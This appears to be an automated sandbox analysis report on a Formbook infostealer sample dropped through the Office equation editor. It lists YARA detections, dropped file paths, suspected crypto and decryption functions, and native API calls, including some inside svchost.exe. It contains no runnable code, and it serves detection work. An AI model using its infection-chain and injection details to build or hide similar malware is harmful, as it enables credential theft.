Source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\ibeframnk863.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ibefrankszx[1].exe Jump to dropped file
.NET source code contains very large strings
Source: ibefrankszx[1].exe.2.dr, Castle.Samples.Extensibility/UI/Input.cs Long String: Length: 75776
Source: ibeframnk863.exe.2.dr, Castle.Samples.Extensibility/UI/Input.cs Long String: Length: 75776
Source: 4.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/Input.cs Long String: Length: 75776
Source: 5.2.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/Input.cs Long String: Length: 75776
Source: 5.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/Input.cs Long String: Length: 75776
Source: 6.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/Input.cs Long String: Length: 75776
Yara signature match
Source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 4_2_002E21F0 4_2_002E21F0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 4_2_002E4A18 4_2_002E4A18
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 4_2_002E1C28 4_2_002E1C28
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 4_2_002E4F0F 4_2_002E4F0F
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00401030 6_2_00401030
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041D963 6_2_0041D963
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00402D8B 6_2_00402D8B
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00402D90 6_2_00402D90
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041E5B0 6_2_0041E5B0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00409E4B 6_2_00409E4B
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00409E50 6_2_00409E50
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041EE3B 6_2_0041EE3B
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041EF5C 6_2_0041EF5C
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00402FB0 6_2_00402FB0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A7E0C6 6_2_00A7E0C6
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A83040 6_2_00A83040
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A9905A 6_2_00A9905A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A7E2E9 6_2_00A7E2E9
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00B21238 6_2_00B21238
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A7F3CF 6_2_00A7F3CF
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00AA63DB 6_2_00AA63DB
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A82305 6_2_00A82305
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00ACA37B 6_2_00ACA37B
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A87353 6_2_00A87353
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A91489 6_2_00A91489
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00AB5485 6_2_00AB5485
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A9C5F0 6_2_00A9C5F0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A8351F 6_2_00A8351F
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A84680 6_2_00A84680
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A8E6C1 6_2_00A8E6C1
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00B22622 6_2_00B22622
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A8C7BC 6_2_00A8C7BC
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00B0579A 6_2_00B0579A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00B1F8EE 6_2_00B1F8EE
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00AA286D 6_2_00AA286D
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A8C85C 6_2_00A8C85C
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A829B2 6_2_00A829B2
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00B2098E 6_2_00B2098E
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A969FE 6_2_00A969FE
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00B05955 6_2_00B05955
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00B33A83 6_2_00B33A83
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00B2CBA4 6_2_00B2CBA4
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00B0DBDA 6_2_00B0DBDA
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A7FBD7 6_2_00A7FBD7
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00AA7B00 6_2_00AA7B00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A0E0C6 8_2_00A0E0C6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A3D005 8_2_00A3D005
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A13040 8_2_00A13040
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A2905A 8_2_00A2905A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A0E2E9 8_2_00A0E2E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00AB1238 8_2_00AB1238
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A0F3CF 8_2_00A0F3CF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A363DB 8_2_00A363DB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A12305 8_2_00A12305
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A5A37B 8_2_00A5A37B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A17353 8_2_00A17353
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A45485 8_2_00A45485
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A21489 8_2_00A21489
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A4D47D 8_2_00A4D47D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A2C5F0 8_2_00A2C5F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A1351F 8_2_00A1351F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A14680 8_2_00A14680
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A1E6C1 8_2_00A1E6C1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00AB2622 8_2_00AB2622
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A1C7BC 8_2_00A1C7BC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A9579A 8_2_00A9579A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A457C3 8_2_00A457C3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00AAF8EE 8_2_00AAF8EE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A3286D 8_2_00A3286D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A1C85C 8_2_00A1C85C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A129B2 8_2_00A129B2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00AB098E 8_2_00AB098E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A269FE 8_2_00A269FE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A95955 8_2_00A95955
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00AC3A83 8_2_00AC3A83
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00ABCBA4 8_2_00ABCBA4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A9DBDA 8_2_00A9DBDA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A0FBD7 8_2_00A0FBD7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A37B00 8_2_00A37B00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00AAFDDD 8_2_00AAFDDD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A40D3B 8_2_00A40D3B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A1CD5B 8_2_00A1CD5B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A42E2F 8_2_00A42E2F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A2EE4C 8_2_00A2EE4C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A20F3F 8_2_00A20F3F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A3DF7C 8_2_00A3DF7C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009E5B0 8_2_0009E5B0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00082D8B 8_2_00082D8B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00082D90 8_2_00082D90
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009EE3B 8_2_0009EE3B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00089E4B 8_2_00089E4B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00089E50 8_2_00089E50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_0009EF5C 8_2_0009EF5C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00082FB0 8_2_00082FB0
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 00A0DF5C appears 107 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 00A7F970 appears 81 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 00A53F92 appears 108 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 00A5373B appears 238 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 00A0E2A8 appears 38 times
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: String function: 00A7DF5C appears 83 times
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: String function: 00AEF970 appears 68 times
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: String function: 00AC373B appears 184 times
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: String function: 00AC3F92 appears 63 times
Contains functionality to call native functions
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041A350 NtCreateFile, 6_2_0041A350
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041A400 NtReadFile, 6_2_0041A400
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041A480 NtClose, 6_2_0041A480
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041A530 NtAllocateVirtualMemory, 6_2_0041A530
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041A34A NtCreateFile, 6_2_0041A34A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041A3A3 NtReadFile, 6_2_0041A3A3
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041A47A NtClose, 6_2_0041A47A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0041A52B NtAllocateVirtualMemory, 6_2_0041A52B
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A700C4 NtCreateFile,LdrInitializeThunk, 6_2_00A700C4
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A70078 NtResumeThread,LdrInitializeThunk, 6_2_00A70078
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A70048 NtProtectVirtualMemory,LdrInitializeThunk, 6_2_00A70048
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6F9F0 NtClose,LdrInitializeThunk, 6_2_00A6F9F0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6F900 NtReadFile,LdrInitializeThunk, 6_2_00A6F900
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FAE8 NtQueryInformationProcess,LdrInitializeThunk, 6_2_00A6FAE8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 6_2_00A6FAD0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FBB8 NtQueryInformationToken,LdrInitializeThunk, 6_2_00A6FBB8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FB68 NtFreeVirtualMemory,LdrInitializeThunk, 6_2_00A6FB68
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FC90 NtUnmapViewOfSection,LdrInitializeThunk, 6_2_00A6FC90
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FC60 NtMapViewOfSection,LdrInitializeThunk, 6_2_00A6FC60
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FD8C NtDelayExecution,LdrInitializeThunk, 6_2_00A6FD8C
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FDC0 NtQuerySystemInformation,LdrInitializeThunk, 6_2_00A6FDC0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FEA0 NtReadVirtualMemory,LdrInitializeThunk, 6_2_00A6FEA0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 6_2_00A6FED0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FFB4 NtCreateSection,LdrInitializeThunk, 6_2_00A6FFB4
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A710D0 NtOpenProcessToken, 6_2_00A710D0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A70060 NtQuerySection, 6_2_00A70060
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A701D4 NtSetValueKey, 6_2_00A701D4
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A7010C NtOpenDirectoryObject, 6_2_00A7010C
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A71148 NtOpenThread, 6_2_00A71148
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A707AC NtCreateMutant, 6_2_00A707AC
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6F8CC NtWaitForSingleObject, 6_2_00A6F8CC
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A71930 NtSetContextThread, 6_2_00A71930
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6F938 NtWriteFile, 6_2_00A6F938
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FAB8 NtQueryValueKey, 6_2_00A6FAB8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FA20 NtQueryInformationFile, 6_2_00A6FA20
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FA50 NtEnumerateValueKey, 6_2_00A6FA50
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FBE8 NtQueryVirtualMemory, 6_2_00A6FBE8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_00A6FB50 NtCreateKey, 6_2_00A6FB50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A000C4 NtCreateFile,LdrInitializeThunk, 8_2_00A000C4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_00A007AC NtCreateMutant,LdrInitializeThunk, 8_2_00A007AC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FF9F0 NtClose,LdrInitializeThunk, 8_2_009FF9F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FF900 NtReadFile,LdrInitializeThunk, 8_2_009FF900
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFAB8 NtQueryValueKey,LdrInitializeThunk, 8_2_009FFAB8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 8_2_009FFAD0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFAE8 NtQueryInformationProcess,LdrInitializeThunk, 8_2_009FFAE8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFBB8 NtQueryInformationToken,LdrInitializeThunk, 8_2_009FFBB8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFB50 NtCreateKey,LdrInitializeThunk, 8_2_009FFB50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFB68 NtFreeVirtualMemory,LdrInitializeThunk, 8_2_009FFB68
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFC60 NtMapViewOfSection,LdrInitializeThunk, 8_2_009FFC60
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFD8C NtDelayExecution,LdrInitializeThunk, 8_2_009FFD8C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFDC0 NtQuerySystemInformation,LdrInitializeThunk, 8_2_009FFDC0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 8_2_009FFED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 8_2_009FFED0
